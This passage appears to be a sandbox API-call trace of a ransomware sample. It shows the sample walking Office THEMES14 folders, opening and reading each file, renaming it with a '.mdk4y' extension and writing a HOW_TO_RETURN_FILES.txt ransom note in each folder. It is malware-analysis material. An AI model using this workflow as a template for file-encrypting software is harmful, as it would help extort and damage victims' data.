lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819344400000) returned 1 [0118.214] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.mdk4y")) returned 1 [0118.215] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.215] AreFileApisANSI () returned 1 [0118.215] GetACP () returned 0x4e4 [0118.215] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNG", lpUsedDefaultChar=0x37dec0) returned 12 [0118.215] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.215] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819344500000) returned 1 [0118.215] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6fb3, lpOverlapped=0x0) returned 1 [0118.254] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819348400000) returned 1 [0118.254] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819348400000) returned 1 [0118.255] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.mdk4y")) returned 1 [0118.255] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0118.255] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0118.256] AreFileApisANSI () returned 1 [0118.256] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0118.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0118.256] GetFileType (hFile=0x130) returned 0x1 [0118.257] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0118.257] AreFileApisANSI () returned 1 [0118.257] GetACP () returned 0x4e4 [0118.257] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DEEPBLUE", cchWideChar=8, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DEEPBLUE", lpUsedDefaultChar=0x37df4c) returned 8 [0118.257] AreFileApisANSI () returned 1 [0118.257] GetACP () returned 0x4e4 [0118.257] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=65, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\") returned 65 [0118.257] AreFileApisANSI () returned 1 [0118.257] GetACP () returned 0x4e4 [0118.257] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0118.257] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.257] AreFileApisANSI () returned 1 [0118.257] GetACP () returned 0x4e4 [0118.257] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0118.257] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.257] AreFileApisANSI () returned 1 [0118.257] GetACP () returned 0x4e4 [0118.257] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DEEPBLUE.ELM", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DEEPBLUE.ELMfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0118.257] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819349800000) returned 1 [0118.268] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x116dc, lpOverlapped=0x0) returned 1 [0118.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819353700000) returned 1 [0118.307] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819353700000) returned 1 [0118.308] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.mdk4y")) returned 1 [0118.309] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.309] AreFileApisANSI () returned 1 [0118.309] GetACP () returned 0x4e4 [0118.309] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DEEPBLUE.INF", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="DEEPBLUE.INF", lpUsedDefaultChar=0x37dec0) returned 12 [0118.309] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.309] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819353900000) returned 1 [0118.309] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x239, lpOverlapped=0x0) returned 1 [0118.310] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819354000000) returned 1 [0118.310] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819354000000) returned 1 [0118.310] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.mdk4y")) returned 1 [0118.357] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.357] AreFileApisANSI () returned 1 [0118.357] GetACP () returned 0x4e4 [0118.357] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFF", lpUsedDefaultChar=0x37dec0) returned 11 [0118.357] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.357] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819358700000) returned 1 [0118.357] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf75, lpOverlapped=0x0) returned 1 [0118.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819360700000) returned 1 [0118.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819360700000) returned 1 [0118.378] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.mdk4y")) returned 1 [0118.378] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.378] AreFileApisANSI () returned 1 [0118.378] GetACP () returned 0x4e4 [0118.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNG", lpUsedDefaultChar=0x37dec0) returned 12 [0118.379] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.397] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819362700000) returned 1 [0118.397] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x81fd, lpOverlapped=0x0) returned 1 [0118.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819362900000) returned 1 [0118.399] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819362900000) returned 1 [0118.399] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.mdk4y")) returned 1 [0118.400] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0118.400] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0118.400] AreFileApisANSI () returned 1 [0118.400] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 89 [0118.400] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0118.401] GetFileType (hFile=0x130) returned 0x1 [0118.402] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0118.402] AreFileApisANSI () returned 1 [0118.402] GetACP () returned 0x4e4 [0118.402] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ECHO", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ECHOBLUE", lpUsedDefaultChar=0x37df4c) returned 4 [0118.402] AreFileApisANSI () returned 1 [0118.402] GetACP () returned 0x4e4 [0118.402] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=61, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\Ł6(ŭ") returned 61 [0118.421] AreFileApisANSI () returned 1 [0118.421] GetACP () returned 0x4e4 [0118.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 1 [0118.421] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.421] AreFileApisANSI () returned 1 [0118.421] GetACP () returned 0x4e4 [0118.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 2 [0118.421] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.421] AreFileApisANSI () returned 1 [0118.421] GetACP () returned 0x4e4 [0118.421] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ECHO.ELM", cchWideChar=8, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ECHO.ELMAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 8 [0118.421] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.423] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819365300000) returned 1 [0118.423] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb0ce, lpOverlapped=0x0) returned 1 [0118.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819366500000) returned 1 [0118.435] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819366500000) returned 1 [0118.436] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.ELM.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.elm.mdk4y")) returned 1 [0118.437] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.437] AreFileApisANSI () returned 1 [0118.437] GetACP () returned 0x4e4 [0118.437] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ECHO.INF", cchWideChar=8, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ECHO.INF", lpUsedDefaultChar=0x37dec0) returned 8 [0118.437] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819366700000) returned 1 [0118.437] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1f7, lpOverlapped=0x0) returned 1 [0118.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819366800000) returned 1 [0118.438] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819366800000) returned 1 [0118.438] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\ECHO.INF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\echo.inf.mdk4y")) returned 1 [0118.438] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.438] AreFileApisANSI () returned 1 [0118.439] GetACP () returned 0x4e4 [0118.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="PREVIEW.GIF", cchWideChar=11, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="PREVIEW.GIFefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 11 [0118.439] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.439] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819366900000) returned 1 [0118.439] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x5ad, lpOverlapped=0x0) returned 1 [0118.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819371200000) returned 1 [0118.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819371200000) returned 1 [0118.483] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\PREVIEW.GIF.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\preview.gif.mdk4y")) returned 1 [0118.496] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0118.496] AreFileApisANSI () returned 1 [0118.496] GetACP () returned 0x4e4 [0118.496] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="THMBNAIL.PNG", cchWideChar=12, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="THMBNAIL.PNGfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1", lpUsedDefaultChar=0x37dec0) returned 12 [0118.496] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0118.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819372600000) returned 1 [0118.496] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x6212, lpOverlapped=0x0) returned 1 [0118.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819372800000) returned 1 [0118.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819372800000) returned 1 [0118.498] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\THMBNAIL.PNG.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\thmbnail.png.mdk4y")) returned 1 [0118.499] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0118.499] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0118.499] AreFileApisANSI () returned 1 [0118.499] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 85 [0118.499] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\echo\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0118.499] GetFileType (hFile=0x130) returned 0x1 [0118.555] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0118.555] AreFileApisANSI () returned 1 [0118.555] GetACP () returned 0x4e4 [0118.555] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ECLIPSE", cchWideChar=7, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ECLIPSEE", lpUsedDefaultChar=0x37df4c) returned 7 [0118.555] AreFileApisANSI () returned 1 [0118.555] GetACP () returned 0x4e4 [0118.555] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6aafd0, cbMultiByte=64, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\7\r") returned 64 [0118.556] AreFileApisANSI () returned 1 [0118.556] GetACP () returned 0x4e4 [0118.556] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7b84, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: 